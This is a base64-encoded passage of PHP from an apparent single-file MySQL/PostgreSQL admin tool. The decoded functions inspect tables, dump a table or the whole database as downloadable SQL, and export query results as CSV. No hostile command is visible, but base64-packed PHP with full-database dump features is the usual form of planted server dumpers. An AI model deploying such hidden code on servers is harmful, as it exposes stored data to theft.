JTSE9XIENSRUFURSBUQUJMRSBgJHRhYmxlYCI7DQoJCSRyb3cgPSBkYl9yb3dfbnVtKCRxdWVyeSk7DQoJCWVjaG8gJHJvd1sxXS4nOyc7DQoJCWVjaG8gIlxuXG4iOw0KCX0NCglpZiAoJ3Bnc3FsJyA9PSAkZGJfZHJpdmVyKQ0KCXsNCgkJcmV0dXJuICcnOw0KCX0NCn0NCmZ1bmN0aW9uIHRhYmxlX2RhdGEoJHRhYmxlKQ0Kew0KCWdsb2JhbCAkZGJfZHJpdmVyOw0KCXNldF90aW1lX2xpbWl0KDApOw0KCWlmICgnbXlzcWwnID09ICRkYl9kcml2ZXIpIHsNCgkJJHF1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYCR0YWJsZWAiOw0KCX0gZWxzZSB7DQoJCSRxdWVyeSA9ICJTRUxFQ1QgKiBGUk9NICR0YWJsZSI7DQoJfQ0KCSRyZXN1bHQgPSBkYl9xdWVyeSgkcXVlcnkpOw0KCSRjb3VudCA9IDA7DQoJd2hpbGUgKCRyb3cgPSBkYl9yb3coJHJlc3VsdCkpDQoJew0KCQlpZiAoJ215c3FsJyA9PSAkZGJfZHJpdmVyKSB7DQoJCQllY2hvICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgVkFMVUVTICgnOw0KCQl9DQoJCWlmICgncGdzcWwnID09ICRkYl9kcml2ZXIpIHsNCgkJCWVjaG8gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgVkFMVUVTICgnOw0KCQl9DQoJCSR4ID0gMDsNCgkJZm9yZWFjaCgkcm93IGFzICRrZXkgPT4gJHZhbHVlKQ0KCQl7DQoJCQlpZiAoJHggPT0gMSkgeyBlY2hvICcsICc7IH0NCgkJCWVsc2UgIHsgJHggPSAxOyB9DQoJCQlpZiAoaXNfbnVtZXJpYygkdmFsdWUpKSB7IGVjaG8gIiciLiR2YWx1ZS4iJyI7IH0NCgkJCWVsc2VpZiAoaXNfbnVsbCgkdmFsdWUpKSAgeyBlY2hvICdOVUxMJzsgfQ0KCQkJZWxzZSB7IGVjaG8gJ1wnJy4gZXNjYXBlKCR2YWx1ZSkgLidcJyc7IH0NCgkJfQ0KCQllY2hvICIpO1xuIjsNCgkJJGNvdW50Kys7DQoJCWlmICgkY291bnQgJSAxMDAgPT0gMCkgeyBmbHVzaCgpOyB9DQoJfQ0KCWRiX2ZyZWUoJHJlc3VsdCk7DQoJaWYgKCRjb3VudCkgew0KCQllY2hvICJcbiI7DQoJfQ0KfQ0KZnVuY3Rpb24gdGFibGVfc3RhdHVzKCkNCnsNCgkvLyBTaXplIGlzIG5vdCBzdXBwb3J0ZWQgZm9yIFZpZXdzLCBvbmx5IGZvciBUYWJsZXMuDQoNCglnbG9iYWwgJGRiX2RyaXZlciwgJGRiX2xpbmssICRkYl9uYW1lOw0KCWlmICgnbXlzcWwnID09ICRkYl9kcml2ZXIpDQoJew0KCQkkc3RhdHVzID0gYXJyYXkoKTsNCgkJJHN0YXR1c1sndG90YWxfc2l6ZSddID0gMDsNCgkJJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFRBQkxFIFNUQVRVUyBGUk9NIGAkZGJfbmFtZWAiLCAkZGJfbGluayk7DQoJCXdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHJlc3VsdCkpIHsNCgkJCWlmICghaXNfbnVtZXJpYygkcm93WydEYXRhX2xlbmd0aCddKSkgew0KCQkJCS8vIERhdGFfbGVuZ3RoIGZvciBWaWV3cyBpcyBOVUxMLg0KCQkJCWNvbnRpbnVlOw0KCQkJfQ0KCQkJJHN0YXR1c1sndG90YWxfc2l6ZSddICs9ICRyb3dbJ0RhdGFfbGVuZ3RoJ107IC8vICsgSW5kZXhfbGVuZ3RoDQoJCQkkc3RhdHVzWyRyb3dbJ05hbWUnXV1bJ3NpemUnXSA9ICRyb3dbJ0RhdGFfbGVuZ3RoJ107DQoJCQkkc3RhdHVzWyRyb3dbJ05hbWUnXV1bJ2NvdW50J10gPSAkcm93WydSb3dzJ107DQoJCX0NCgkJcmV0dXJuICRzdGF0dXM7DQoJfQ0KCWlmICgncGdzcWwnID09ICRkYl9kcml2ZXIpDQoJew0KCQkkc3RhdHVzID0gYXJyYXkoKTsNCgkJJHN0YXR1c1sndG90YWxfc2l6ZSddID0gMDsNCgkJJHRhYmxlcyA9IGxpc3RfdGFibGVzKCk7IC8vIG9ubHkgdGFibGVzLCBub3Qgdmlld3MNCgkJaWYgKCFjb3VudCgkdGFibGVzKSkgew0KCQkJcmV0dXJuICRzdGF0dXM7DQoJCX0NCgkJJHRhYmxlc19pbiA9IGRiX2luX2FycmF5KCR0YWJsZXMpOw0KCQkkcmVscyA9IGRiX2xpc3QoIlNFTEVDVCByZWxuYW1lLCByZWx0dXBsZXMsIChyZWxwYWdlczo6ZGVjaW1hbCArIDEpICogOCAqIDIgKiAxMDI0IEFTIHJlbHNpemUgRlJPTSBwZ19jbGFzcyBXSEVSRSByZWxuYW1lIElOICgkdGFibGVzX2luKSIpOw0KCQlmb3JlYWNoICgkcmVscyBhcyAkcmVsKSB7DQoJCQkkc3RhdHVzWyd0b3RhbF9zaXplJ10gKz0gJHJlbFsncmVsc2l6ZSddOw0KCQkJJHN0YXR1c1skcmVsWydyZWxuYW1lJ11dWydzaXplJ10gPSAkcmVsWydyZWxzaXplJ107DQoJCQkkc3RhdHVzWyRyZWxbJ3JlbG5hbWUnXV1bJ2NvdW50J10gPSAkcmVsWydyZWx0dXBsZXMnXTsNCgkJfQ0KCQlyZXR1cm4gJHN0YXR1czsNCgl9DQp9DQpmdW5jdGlvbiB0YWJsZV9jb2x1bW5zKCR0YWJsZSkNCnsNCglnbG9iYWwgJGRiX2RyaXZlcjsNCglzdGF0aWMgJGNhY2hlID0gYXJyYXkoKTsNCglpZiAoaXNzZXQoJGNhY2hlWyR0YWJsZV0pKSB7DQoJCXJldHVybiAkY2FjaGVbJHRhYmxlXTsNCgl9DQoJaWYgKCdteXNxbCcgPT0gJGRiX2RyaXZlcikgew0KCQkkcm93ID0gZGJfcm93KCJTRUxFQ1QgKiBGUk9NIGAkdGFibGVgIik7DQoJfSBlbHNlIHsNCgkJJHJvdyA9IGRiX3JvdygiU0VMRUNUICogRlJPTSAkdGFibGUiKTsNCgl9DQoJaWYgKCEkcm93KSB7DQoJCSRjYWNoZVskdGFibGVdID0gYXJyYXkoKTsNCgkJcmV0dXJuIGFycmF5KCk7DQoJfQ0KCWZvcmVhY2ggKCRyb3cgYXMgJGsgPT4gJHYpIHsNCgkJJHJvd1ska10gPSAkazsNCgl9DQoJJGNhY2hlWyR0YWJsZV0gPSAkcm93Ow0KCXJldHVybiAkcm93Ow0KfQ0KZnVuY3Rpb24gdGFibGVfdHlwZXMoJHRhYmxlKQ0Kew0KCWdsb2JhbCAkZGJfZHJpdmVyOw0KCWlmICgnbXlzcWwnID09ICRkYl9kcml2ZXIpDQoJew0KCQkkcm93cyA9IGRiX2xpc3QoIlNIT1cgQ09MVU1OUyBGUk9NIGAkdGFibGVgIik7DQoJCSR0eXBlcyA9IGFycmF5KCk7DQoJCWZvcmVhY2ggKCRyb3dzIGFzICRyb3cpIHsNCgkJCSR0eXBlID0gJHJvd1snVHlwZSddOw0KCQkJJHR5cGVzWyRyb3dbJ0ZpZWxkJ11dID0gJHR5cGU7DQoJCX0NCgkJcmV0dXJuICR0eXBlczsNCgl9DQoJaWYgKCdwZ3NxbCcgPT0gJGRiX2RyaXZlcikNCgl7DQoJCXJldHVybiBkYl9hc3NvYygiU0VMRUNUIGNvbHVtbl9uYW1lLCB1ZHRfbmFtZSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIFdIRVJFIHRhYmxlX25hbWUgPSckdGFibGUnIE9SREVSIEJZIG9yZGluYWxfcG9zaXRpb24iKTsNCgl9DQp9DQpmdW5jdGlvbiB0YWJsZV90eXBlczIoJHRhYmxlKQ0Kew0KCWdsb2JhbCAkZGJfZHJpdmVyOw0KCWlmICgnbXlzcWwnID09ICRkYl9kcml2ZXIpDQoJew0KCQkkdHlwZXMgPSBhcnJheSgpOw0KCQkkcm93cyA9IEBkYl9saXN0KCJTSE9XIENPTFVNTlMgRlJPTSBgJHRhYmxlYCIpOw0KCQlpZiAoISgkcm93cyAmJiBjb3VudCgkcm93cykpKSB7DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZm9yZWFjaCAoJHJvd3MgYXMgJHJvdykgew0KCQkJJHR5cGUgPSAkcm93WydUeXBlJ107DQoJCQlwcmVnX21hdGNoKCcjXlthLXpdKyMnLCAkdHlwZSwgJG1hdGNoKTsNCgkJCSR0eXBlID0gJG1hdGNoWzBdOw0KCQkJJHR5cGVzWyRyb3dbJ0ZpZWxkJ11dID0gJHR5cGU7DQoJCX0NCgl9DQoJaWYgKCdwZ3NxbCcgPT0gJGRiX2RyaXZlcikNCgl7DQoJCSR0eXBlcyA9IGRiX2Fzc29jKCJTRUxFQ1QgY29sdW1uX25hbWUsIHVkdF9uYW1lIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgV0hFUkUgdGFibGVfbmFtZSA9JyR0YWJsZScgT1JERVIgQlkgb3JkaW5hbF9wb3NpdGlvbiIpOw0KCQlpZiAoIWNvdW50KCR0eXBlcykpIHsNCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmb3JlYWNoICgkdHlwZXMgYXMgJGNvbCA9PiAkdHlwZSkgew0KCQkJLy8gIl8iIGFsc28gaW4gcmVnZXhwIC0gZXJyb3Igd2hlbiByZXRyaWV2aW5nIGNvbHVtbiBpbmZvIGZyb20gInBnX2NsYXNzIiwNCgkJCS8vIHVkdF9uYW1lIG1pZ2h0IGJlICJfYWNsaXRlbSIgLyAiX3RleHQiLg0KCQkJcHJlZ19tYXRjaCgnI15bYS16X10rIycsICR0eXBlLCAkbWF0Y2gpOw0KCQkJJHR5cGUgPSAkbWF0Y2hbMF07DQoJCQkkdHlwZXNbJGNvbF0gPSAkdHlwZTsNCgkJfQ0KCX0NCglmb3JlYWNoICgkdHlwZXMgYXMgJGNvbCA9PiAkdHlwZSkgew0KCQlpZiAoJ3ZhcmNoYXInID09ICR0eXBlKSB7ICR0eXBlID0gJ2NoYXInOyB9DQoJCWlmICgnaW50ZWdlcicgPT0gJHR5cGUpIHsgJHR5cGUgPSAnaW50JzsgfQ0KCQlpZiAoJ3RpbWVzdGFtcCcgPT0gJHR5cGUpIHsgJHR5cGUgPSAndGltZSc7IH0NCgkJJHR5cGVzWyRjb2xdID0gJHR5cGU7DQoJfQ0KCXJldHVybiAkdHlwZXM7DQp9DQpmdW5jdGlvbiB0YWJsZV90eXBlc19ncm91cCgkdHlwZXMpDQp7DQoJZm9yZWFjaCAoJHR5cGVzIGFzICRrID0+ICR0eXBlKSB7DQoJCXByZWdfbWF0Y2goJyNeXHcrIycsICR0eXBlLCAkbWF0Y2gpOw0KCQkkdHlwZSA9ICRtYXRjaFswXTsNCgkJJHR5cGVzWyRrXSA9ICR0eXBlOw0KCX0NCgkkdHlwZXMgPSBhcnJheV91bmlxdWUoJHR5cGVzKTsNCgkkdHlwZXMgPSBhcnJheV92YWx1ZXMoJHR5cGVzKTsNCgkkdHlwZXMyID0gYXJyYXkoKTsNCglmb3JlYWNoICgkdHlwZXMgYXMgJHR5cGUpIHsNCgkJJHR5cGVzMlskdHlwZV0gPSAkdHlwZTsNCgl9DQoJcmV0dXJuICR0eXBlczI7DQp9DQpmdW5jdGlvbiB0YWJsZV9waygkdGFibGUpDQp7DQoJJGNvbHMgPSB0YWJsZV9jb2x1bW5zKCR0YWJsZSk7DQoJaWYgKCEkY29scykgcmV0dXJuIG51bGw7DQoJZm9yZWFjaCAoJGNvbHMgYXMgJGNvbCkgew0KCQlyZXR1cm4gJGNvbDsNCgl9DQp9DQpmdW5jdGlvbiBlc2NhcGUoJHRleHQpDQp7DQoJJHRleHQgPSBhZGRzbGFzaGVzKCR0ZXh0KTsNCgkkc2VhcmNoID0gYXJyYXkoIlxyIiwgIlxuIiwgIlx0Iik7DQoJJHJlcGxhY2UgPSBhcnJheSgnXHInLCAnXG4nLCAnXHQnKTsNCglyZXR1cm4gc3RyX3JlcGxhY2UoJHNlYXJjaCwgJHJlcGxhY2UsICR0ZXh0KTsNCn0NCmZ1bmN0aW9uIG9iX2NsZWFudXAoKQ0Kew0KCXdoaWxlIChvYl9nZXRfbGV2ZWwoKSkgew0KCQlvYl9lbmRfY2xlYW4oKTsNCgl9DQoJaWYgKGhlYWRlcnNfc2VudCgpKSB7DQoJCXJldHVybjsNCgl9DQoJaWYgKGZ1bmN0aW9uX2V4aXN0cygnaGVhZGVyc19saXN0JykpIHsNCgkJZm9yZWFjaCAoaGVhZGVyc19saXN0KCkgYXMgJGhlYWRlcikgew0KCQkJaWYgKHByZWdfbWF0Y2goJy9Db250ZW50LUVuY29kaW5nOi9pJywgJGhlYWRlcikpIHsNCgkJCQloZWFkZXIoJ0NvbnRlbnQtZW5jb2Rpbmc6IG5vbmUnKTsNCgkJCQlicmVhazsNCgkJCX0NCgkJfQ0KCX0gZWxzZSB7DQoJCWhlYWRlcignQ29udGVudC1lbmNvZGluZzogbm9uZScpOw0KCX0NCn0NCmZ1bmN0aW9uIHF1ZXJ5X2NvbG9yKCRxdWVyeSkNCnsNCgkkY29sb3IgPSAncmVkJzsNCgkkd29yZHMgPSBhcnJheSgnU0VMRUNUJywgJ1VQREFURScsICdERUxFVEUnLCAnRlJPTScsICdMSU1JVCcsICdPRkZTRVQnLCAnQU5EJywgJ0xFRlQgSk9JTicsICdXSEVSRScsICdTRVQnLA0KCQknT1JERVIgQlknLCAnR1JPVVAgQlknLCAnR1JPVVAnLCAnRElTVElOQ1QnLCAnQ09VTlQnLCAnQ09VTlRcKFwqXCknLCAnSVMnLCAnTlVMTCcsICdJUyBOVUxMJywgJ0FTJywgJ09OJywgJ0lOU0VSVCBJTlRPJywgJ1ZBTFVFUycsICdCRUdJTicsICdDT01NSVQnLCAnQ0FTRScsICdXSEVOJywgJ1RIRU4nLCAnRU5EJywgJ0VMU0UnLCAnSU4nLCAnTk9UJywgJ0xJS0UnLCAnSUxJS0UnLCAnQVNDJywgJ0RFU0MnLCAnTE9XRVInLCAnVVBQRVInKTsNCgkkd29yZHMgPSBpbXBsb2RlKCd8JywgJHdvcmRzKTsNCg0KCSRxdWVyeSA9IHByZWdfcmVwbGFjZSgiI14oeyR3b3Jkc30pKFxzKSNpIiwgJzxmb250IGNvbG9yPSInLiRjb2xvci4nIj4kMTwvZm9udD4kMicsICRxdWVyeSk7DQoJJHF1ZXJ5ID0gcHJlZ19yZXBsYWNlKCIjKFxzKSh7JHdvcmRzfSkkI2kiLCAnJDE8Zm9udCBjb2xvcj0iJy4kY29sb3IuJyI+JDI8L2ZvbnQ+JywgJHF1ZXJ5KTsNCgkvLyByZXBsYWNlIHR3aWNlLCBzb21lIHdvcmRzIHdoZW4gcHJlY2VkaW5nIG90aGVyIGFyZSBub3QgcmVwbGFjZWQNCgkkcXVlcnkgPSBwcmVnX3JlcGxhY2UoIiMoW1xzXChcKSxdKSh7JHdvcmRzfSkoW1xzXChcKSxdKSNpIiwgJyQxPGZvbnQgY29sb3I9IicuJGNvbG9yLiciPiQyPC9mb250PiQzJywgJHF1ZXJ5KTsNCgkkcXVlcnkgPSBwcmVnX3JlcGxhY2UoIiMoW1xzXChcKSxdKSh7JHdvcmRzfSkoW1xzXChcKSxdKSNpIiwgJyQxPGZvbnQgY29sb3I9IicuJGNvbG9yLiciPiQyPC9mb250PiQzJywgJHF1ZXJ5KTsNCgkkcXVlcnkgPSBwcmVnX3JlcGxhY2UoIiNeKCR3b3JkcykkI2kiLCAnPGZvbnQgY29sb3I9IicuJGNvbG9yLiciPiQxPC9mb250PicsICRxdWVyeSk7DQoNCglwcmVnX21hdGNoX2FsbCgnIzxmb250W14+XSs+KCcuJHdvcmRzLicpPC9mb250PiNpJywgJHF1ZXJ5LCAkbWF0Y2hlcyk7DQoJZm9yZWFjaCAoJG1hdGNoZXNbMF0gYXMgJGsgPT4gJGZvbnQpIHsNCgkJJGZvbnQyID0gc3RyX3JlcGxhY2UoJG1hdGNoZXNbMV1bJGtdLCBzdHJ0b3VwcGVyKCRtYXRjaGVzWzFdWyRrXSksICRmb250KTsNCgkJJHF1ZXJ5ID0gc3RyX3JlcGxhY2UoJGZvbnQsICRmb250MiwgJHF1ZXJ5KTsNCgl9DQoNCglyZXR1cm4gJHF1ZXJ5Ow0KfQ0KZnVuY3Rpb24gcXVlcnlfdXBwZXIoJHNxbCkNCnsNCglyZXR1cm4gJHNxbDsNCgkvLyB0b2RvOiBkb24ndCB1cHBlciBxdW90ZWQgJyBhbmQgJyB2YWx1ZXMNCgkkcXVlcmllcyA9IHByZWdfc3BsaXQoIiM7KFxzKi0tWyBcdFxTXSopPyhcclxufFxufFxyKSNVIiwgJHNxbCk7DQoJZm9yZWFjaCAoJHF1ZXJpZXMgYXMgJGsgPT4gJHF1ZXJ5KSB7DQoJCSRzdHJpcCA9IHF1ZXJ5X3N0cmlwKCRxdWVyeSk7DQoJCSRjb2xvciA9IHF1ZXJ5X2NvbG9yKCRzdHJpcCk7DQoJCSRzcWwgPSBzdHJfcmVwbGFjZSgkc3RyaXAsICRjb2xvciwgJHNxbCk7DQoJfQ0KCSRzcWwgPSBwcmVnX3JlcGxhY2UoJyM8Zm9udCBjb2xvcj0iXHcrIj4oW14+XSspPC9mb250PiNpVScsICckMScsICRzcWwpOw0KCXJldHVybiAkc3FsOw0KfQ0KZnVuY3Rpb24gaHRtbF9zcGFjZXMoJHN0cmluZykNCnsNCgkkaW5zaWRlX3RhZyA9IGZhbHNlOw0KCWZvciAoJGkgPSAwOyAkaSA8IHN0cmxlbigkc3RyaW5nKTsgJGkrKykNCgl7DQoJCSRjID0gJHN0cmluZ3skaX07DQoJCWlmICgnPCcgPT0gJGMpIHsNCgkJCSRpbnNpZGVfdGFnID0gdHJ1ZTsNCgkJfQ0KCQlpZiAoJz4nID09ICRjKSB7DQoJCQkkaW5zaWRlX3RhZyA9IGZhbHNlOw0KCQl9DQoJCWlmICgnICcgPT0gJGMgJiYgISRpbnNpZGVfdGFnKSB7DQoJCQkkc3RyaW5nID0gc3Vic3RyKCRzdHJpbmcsIDAsICRpKS4nJm5ic3A7Jy5zdWJzdHIoJHN0cmluZywgJGkrMSk7DQoJCQkkaSArPSBzdHJsZW4oJyZuYnNwOycpLTE7DQoJCX0NCgl9DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpmdW5jdGlvbiBxdWVyeV9jdXQoJHF1ZXJ5KQ0Kew0KCS8vIHJlbW92ZXMgc3ViLXF1ZXJpZXMgYW5kIHN0cmluZyB2YWx1ZXMgZnJvbSBxdWVyeQ0KCSRicmFjZV9zdGFydCA9ICcoJzsNCgkkYnJhY2VfZW5kID0gJyknOw0KCSRxdW90ZSA9ICInIjsNCgkkaW5zaWRlX2JyYWNlID0gZmFsc2U7DQoJJGluc2lkZV9xdW90ZSA9IGZhbHNlOw0KCSRkZXB0aCA9IDA7DQoJJHJldCA9ICcnOw0KCSRxdWVyeSA9IHN0cl9yZXBsYWNlKCdcXFxcJywgJycsICRxdWVyeSk7DQoNCglmb3IgKCRpID0gMDsgJGkgPCBzdHJsZW4oJHF1ZXJ5KTsgJGkrKykNCgl7DQoJCSRwcmV2X2NoYXIgPSBpc3NldCgkcXVlcnl7JGktMX0pID8gJHF1ZXJ5eyRpLTF9IDogbnVsbDsNCgkJJGNoYXIgPSAkcXVlcnl7JGl9Ow0KCQlpZiAoJGNoYXIgPT0gJGJyYWNlX3N0YXJ0KSB7DQoJCQlpZiAoISRpbnNpZGVfcXVvdGUpIHsNCgkJCQkkZGVwdGgrKzsNCgkJCX0NCgkJfQ0KCQlpZiAoJGNoYXIgPT0gJGJyYWNlX2VuZCkgew0KCQkJaWYgKCEkaW5zaWRlX3F1b3RlKSB7DQoJCQkJJGRlcHRoLS07DQoJCQkJaWYgKCRkZXB0aCA9PSAwKSB7DQoJCQkJCSRyZXQgLj0gJyguLi4pJzsNCgkJCQl9DQoJCQkJY29udGludWU7DQoJCQl9DQoJCX0NCgkJaWYgKCRjaGFyID09ICRxdW90ZSkgew0KCQkJaWYgKCRpbnNpZGVfcXVvdGUpIHsNCgkJCQlpZiAoJHByZXZfY2hhciAhPSAnXFwnKSB7DQoJCQkJCSRpbnNpZGVfcXVvdGUgPSBmYWxzZTsNCgkJCQkJaWYgKCEkZGVwdGgpIHsNCgkJCQkJCSRyZXQgLj0gIicuLi4nIjsNCgkJCQkJfQ0KCQkJCQljb250aW51ZTsNCgkJCQl9DQoJCQl9IGVsc2Ugew0KCQkJCSRpbnNpZGVfcXVvdGUgPSB0cnVlOw0KCQkJfQ0KCQl9DQoJCWlmICghJGRlcHRoICYmICEkaW5zaWRlX3F1b3RlKSB7DQoJCQkkcmV0IC49ICRjaGFyOw0KCQl9DQoJfQ0KCXJldHVybiAkcmV0Ow0KfQ0KZnVuY3Rpb24gdGFibGVfZnJvbV9xdWVyeSgkcXVlcnkpDQp7DQoJaWYgKHByZWdfbWF0Y2goJyNcc0ZST01ccytbImBdPyhcdyspWyJgXT8jaScsICRxdWVyeSwgJG1hdGNoKSkgew0KCQkkY3V0ID0gcXVlcnlfY3V0KCRxdWVyeSk7DQoJCWlmIChwcmVnX21hdGNoKCcjXHNGUk9NXHMrWyJgXT8oXHcrKVsiYF0/I2knLCAkY3V0LCAkbWF0Y2gyKSkgew0KCQkJJHRhYmxlID0gJG1hdGNoMlsxXTsNCgkJfSBlbHNlIHsNCgkJCSR0YWJsZSA9ICRtYXRjaFsxXTsNCgkJfQ0KCX0gZWxzZSBpZiAocHJlZ19tYXRjaCgnI1VQREFURVxzKyI/KFx3KykiPyNpJywgJHF1ZXJ5LCAkbWF0Y2gpKSB7DQoJCSR0YWJsZSA9ICRtYXRjaFsxXTsNCgl9IGVsc2UgaWYgKHByZWdfbWF0Y2goJyNJTlNFUlRccytJTlRPXHMrIj8oXHcrKSI/IycsICRxdWVyeSwgJG1hdGNoKSkgew0KCQkkdGFibGUgPSAkbWF0Y2hbMV07DQoJfSBlbHNlIHsNCgkJJHRhYmxlID0gZmFsc2U7DQoJfQ0KCXJldHVybiAkdGFibGU7DQp9DQpmdW5jdGlvbiBpc19zZWxlY3QoJHF1ZXJ5KQ0Kew0KCXJldHVybiBwcmVnX21hdGNoKCcjXlxzKlNFTEVDVFxzKyNpJywgJHF1ZXJ5KTsNCn0NCmZ1bmN0aW9uIHF1ZXJ5X3N0cmlwKCRxdWVyeSkNCnsNCgkvLyBzdHJpcCBjb21tZW50cyBhbmQgJzsnIGZyb20gdGhlIGVuZCBvZiBxdWVyeQ0KCSRxdWVyeSA9IHRyaW0oJHF1ZXJ5KTsNCglpZiAoc3RyX2VuZHNfd2l0aCgkcXVlcnksICc7JykpIHsNCgkJJHF1ZXJ5ID0gc3RyX2N1dF9lbmQoJHF1ZXJ5LCAnOycpOw0KCX0NCgkkbGluZXMgPSBwcmVnX3NwbGl0KCIjKFxyXG58XG58XHIpIyIsICRxdWVyeSk7DQoJZm9yZWFjaCAoJGxpbmVzIGFzICRrID0+ICRsaW5lKSB7DQoJCSRsaW5lID0gdHJpbSgkbGluZSk7DQoJCWlmICghJGxpbmUgfHwgc3RyX3N0YXJ0c193aXRoKCRsaW5lLCAnLS0nKSkgew0KCQkJdW5zZXQoJGxpbmVzWyRrXSk7DQoJCX0NCgl9DQoJJHF1ZXJ5ID0gaW1wbG9kZSgiXHJcbiIsICRsaW5lcyk7DQoJcmV0dXJuICRxdWVyeTsNCn0NCmZ1bmN0aW9uIGR1bXBfdGFibGUoJHRhYmxlKQ0Kew0KCW9iX2NsZWFudXAoKTsNCglkZWZpbmUoJ0RFQlVHX0NPTlNPTEVfSElERScsIDEpOw0KCXNldF90aW1lX2xpbWl0KDApOw0KCWdsb2JhbCAkZGJfbmFtZTsNCgloZWFkZXIoIkNhY2hlLWNvbnRyb2w6IHByaXZhdGUiKTsNCgloZWFkZXIoIkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7DQoJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nLiRkYl9uYW1lLidfJy4kdGFibGUuJy5zcWwnKTsNCgl0YWJsZV9zdHJ1Y3R1cmUoJHRhYmxlKTsNCgl0YWJsZV9kYXRhKCR0YWJsZSk7DQoJZXhpdDsNCn0NCmZ1bmN0aW9uIGR1bXBfYWxsKCRkYXRhID0gZmFsc2UpDQp7DQoJZ2xvYmFsICRkYl9uYW1lOw0KDQoJb2JfY2xlYW51cCgpOw0KCWRlZmluZSgnREVCVUdfQ09OU09MRV9ISURFJywgMSk7DQoJc2V0X3RpbWVfbGltaXQoMCk7DQoNCgkkdGFibGVzID0gbGlzdF90YWJsZXMoKTsNCgkkdGFibGVfZmlsdGVyID0gZ2V0KCd0YWJsZV9maWx0ZXInKTsNCgkkdGFibGVzID0gdGFibGVfZmlsdGVyKCR0YWJsZXMsICR0YWJsZV9maWx0ZXIpOw0KDQoJaGVhZGVyKCJDYWNoZS1jb250cm9sOiBwcml2YXRlIik7DQoJaGVhZGVyKCJDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOw0KCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy5kYXRlKCdZbWQnKS4nXycuJGRiX25hbWUuJy5zcWwnKTsNCg0KCWZvcmVhY2ggKCR0YWJsZXMgYXMgJGtleSA9PiAkdGFibGUpDQoJew0KCQl0YWJsZV9zdHJ1Y3R1cmUoJHRhYmxlKTsNCgkJaWYgKCRkYXRhKSB7DQoJCQl0YWJsZV9kYXRhKCR0YWJsZSk7DQoJCX0NCgkJZmx1c2goKTsNCgl9DQoJZXhpdDsNCn0NCmZ1bmN0aW9uIGV4cG9ydF9jc3YoJHF1ZXJ5LCAkc2VwYXJhdG9yKQ0Kew0KCW9iX2NsZWFudXAoKTsNCglzZXRfdGltZV9saW1pdCgwKTsNCg0KCWlmICghaXNfc2VsZWN0KCRxdWVyeSkpIHsNCgkJdHJpZ2dlcl9lcnJvcignZXhwb3J0X2NzdigpIGZhaWxlZDogbm90IGEgU0VMRUNUIHF1ZXJ5OiAnLiRxdWVyeSwgRV9VU0VSX0VSUk9SKTsNCgl9DQoNCgkkdGFibGUgPSB0YWJsZV9mcm9tX3F1ZXJ5KCRxdWVyeSk7DQoJaWYgKCEkdGFibGUpIHsNCgkJJHRhYmxlID0gJ3Vua25vd24nOw0KCX0NCg0KCWhlYWRlcigiQ2FjaGUtY29udHJvbDogcHJpdmF0ZSIpOw0KCWhlYWRlcigiQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsNCgloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScuJHRhYmxlLidfJy5kYXRlKCdZbWQnKS4nLmNzdicpOw0KDQoJJHJzID0gZGJfcXVlcnkoJHF1ZXJ5KTsNCgkkZmlyc3QgPSB0cnVlOw0KDQoJd2hpbGUgKCRyb3cgPSBkYl9yb3coJHJzKSkgew0KCQlpZiAoJGZpcnN0KSB7DQoJCQllY2hvIGNzdl9yb3coYXJyYXlfa2V5cygkcm93KSwgJHNlcGFyYXRvcik7DQoJCQkkZmlyc3QgPSBmYWxzZTsNCgkJfQ0KCQllY2hvIGNzdl9yb3coJHJvdywgJHNlcGFyYXRvcik7DQoJCWZsdXNoKCk7DQoJfQ0KDQoJZXhpdCgpOw0KfQ0KZnVuY3Rpb24gY3N2X3Jvdygkcm93LCAkc2VwYXJhdG9yKQ0Kew0KCWZvcmVhY2ggKCRyb3cgYXMgJGtleSA9PiAkdmFsKSB7DQoJCSRlbnF1b3RlID0gZmFsc2U7DQoJCWlmIChmYWxzZSAhPT0gc3RycG9zKCR2YWwsICRzZXBhcmF0b3IpKSB7DQoJCQkkZW5xdW90ZSA9IHRydWU7DQoJCX0NCgkJaWYgKGZhbHNlICE9PSBzdHJwb3MoJHZhbCwgIlwiIikpIHsNCgkJCSRlbnF1b3RlID0gdHJ1ZTsNCgkJCSR2YWwgPSBzdHJfcmVwbGFjZSgiXCIiLCAiXCJcIiIsICR2YWwpOw0KCQl9DQoJCWlmIChmYWxzZSAhPT0gc3RycG9zKCR2YWwsICJcciIpIHx8IGZhbHNlICE9PSBzdHJwb3MoJHZhbCwgIlxuIikpIHsNCgkJCSRlbnF1b3RlID0gdHJ1ZTsNCgkJCSR2YWwgPSBwcmVnX3JlcGxhY2UoJyMoXHJcbnxccnxcbikjJywgIlxuIiwgJHZhbCk7IC8vIGV4Y2VsIG5lZWRzIFxuIGluc3RlYWQgb2YgXHJcbg0KCQl9DQoJCWlmICgkZW5xdW90ZSkgew0KCQkJJHJvd1ska2V5XSA9ICJcIiIuJHZhbC4iXCIiOw0KCQl9DQoJfQ0KCSRvdXQgPSBpbXBsb2RlKCRzZXBhcmF0b3IsICRyb3cpOw0KCSRvdXQgLj0gIlxyXG4iOw0KCXJldHVybiAkb3V0Ow0KfQ0KZnVuY3Rpb24gaW1wb3J0KCRmaWxlLCAkaWdub3JlX2Vycm9ycyA9IGZhbHNlLCAkdHJhbnNhY3Rpb24gPSBmYWxzZSwgJGZvcmNlX215aXNhbSA9IGZhbHNlLCAkcXVlcnlfc3RhcnQgPSBmYWxzZSkNCnsNCglnbG9iYW